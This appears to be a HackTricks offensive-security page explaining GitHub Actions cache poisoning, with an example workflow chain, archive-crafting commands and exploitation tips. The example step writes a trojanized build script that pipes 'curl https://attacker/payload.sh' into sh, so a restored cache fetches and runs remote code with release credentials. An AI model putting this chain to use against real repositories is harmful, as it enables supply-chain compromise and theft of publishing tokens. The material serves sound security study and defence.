# GH Actions - Cache Poisoning

{{#include ../../../banners/hacktricks-training.md}}

## Overview

The GitHub Actions cache is global to a repository. Any workflow that knows a cache `key` (or `restore-keys`) can populate that entry, even if the job only has `permissions: contents: read`. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a `pull_request_target` workflow into the PyPI publishing pipeline.

## Attack primitives

- `actions/cache` exposes both restore and save operations (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). The save call is allowed for any job except truly untrusted `pull_request` workflows triggered from forks.
- Cache entries are identified solely by the `key`. Broad `restore-keys` make it easy to inject payloads because the attacker only needs to collide with a prefix.
- Cache keys and versions are client-specified values; the cache service does not validate that a key/version matches a trusted workflow or cache path.
- The cache server URL + runtime token are long-lived relative to the workflow (historically ~6 hours, now ~90 minutes) and are not user-revocable. As of late 2024 GitHub blocks cache writes after the originating job completes, so attackers must write while the job is still running or pre-poison future keys.
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.
- The cache file itself is not validated on restore; it is just a zstd-compressed archive, so a poisoned entry can overwrite scripts, `package.json`, or other files under the restore path.

## Example exploitation chain

_Author workflow (`pull_request_target`) poisoned the cache:_

```yaml
steps:
  - run: |
      mkdir -p toolchain/bin
      printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
      chmod +x toolchain/bin/build
  - uses: actions/cache/save@v4
    with:
      path: toolchain
      key: linux-build-${{ hashFiles('toolchain.lock') }}
```

_Privileged workflow restored and executed the poisoned cache:_

```yaml
steps:
  - uses: actions/cache/restore@v4
    with:
      path: toolchain
      key: linux-build-${{ hashFiles('toolchain.lock') }}
  - run: toolchain/bin/build release.tar.gz
```

The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).

## Poisoning mechanics

GitHub Actions cache entries are typically zstd-compressed tar archives. You can craft one locally and upload it to the cache:

```bash
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
```

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, `action.yml`, `package.json`, etc.), you can overwrite them to gain execution.

## Practical exploitation tips

- Target workflows triggered by `pull_request_target`, `issue_comment`, or bot commands that still save caches; GitHub lets them overwrite repository-wide keys even when the runner only has read access to the repo.
- Look for deterministic cache keys reused across trust boundaries (for example, `pip-${{ hashFiles('poetry.lock') }}`) or permissive `restore-keys`, then save your malicious tarball before the privileged workflow runs.
- Monitor logs for `Cache saved` entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.

## References

- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
- [The Monsters in Your Build Cache: GitHub Actions Cache Poisoning](http://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/)
- [ActionsCacheBlasting (deprecated, Cache V2) / Cacheract](https://github.com/AdnaneKhan/ActionsCacheBlasting)

{{#include ../../../banners/hacktricks-training.md}}
